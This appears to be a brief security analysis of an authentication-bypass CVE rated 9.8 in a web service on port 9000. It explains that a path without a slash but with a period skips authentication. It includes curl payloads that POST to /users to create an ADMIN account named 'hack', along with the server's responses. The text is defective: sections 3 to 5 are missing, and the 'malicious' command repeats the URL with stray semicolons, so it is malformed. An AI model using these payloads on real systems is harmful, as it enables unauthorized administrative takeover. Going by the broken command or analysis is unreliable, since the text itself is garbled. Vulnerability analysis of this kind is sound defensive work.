CVE-2024-56325

Comprehensive Technical Analysis of CVE-2024-56325

1. Vulnerability Assessment and Severity Evaluation

CVE ID: CVE-2024-56325 Description: Authentication Bypass Issue CVSS Score: 9.8

The vulnerability allows an attacker to bypass authentication mechanisms by manipulating the request path. Specifically, if the path does not contain a forward slash (/) and contains a period (.), authentication is not required. This flaw can lead to unauthorized access and the creation of new users with administrative privileges.

Severity Evaluation:

• CVSS Score: 9.8 (Critical)
• Impact: High
• Exploitability: High

The high CVSS score indicates a critical vulnerability that can be easily exploited to gain unauthorized access, leading to significant security risks.

2. Potential Attack Vectors and Exploitation Methods

Attack Vectors:

1. Unauthenticated Access: An attacker can send a specially crafted HTTP request to bypass authentication.
2. Privilege Escalation: By exploiting this vulnerability, an attacker can create new users with administrative privileges, gaining control over the system.

Exploitation Methods:

• Malicious Request: An attacker can send a POST request to the /users endpoint with a manipulated path to bypass authentication.
• Example:

  curl -X POST -H "Content-Type: application/json" -d '{"username":"hack","password":"hack","component":"CONTROLLER","role":"ADMIN","tables":[],"permissions":[],"usernameWithComponent":"hack_CONTROLLER"}'  http://{serverip}:9000/users; http://{serverip}:9000/users; .

6. Technical Details for Security Professionals

Vulnerability Details:

• Condition: The vulnerability is triggered when the request path does not contain a forward slash (/) and contains a period (.).
• Response: A successful exploit returns a response indicating that a new user has been added without requiring authentication.

Example of Normal Request and Response:

curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}  http://{server_ip}:9000/users

Expected Response:

{"code":401,"error":"HTTP 401 Unauthorized"}

Example of Malicious Request and Response:

curl -X POST -H "Content-Type: application/json" -d '{"username":"hack","password":"hack","component":"CONTROLLER","role":"ADMIN","tables":[],"permissions":[],"usernameWithComponent":"hack_CONTROLLER"}'  http://{serverip}:9000/users; http://{serverip}:9000/users; .

Malicious Response:

{"users":{}}
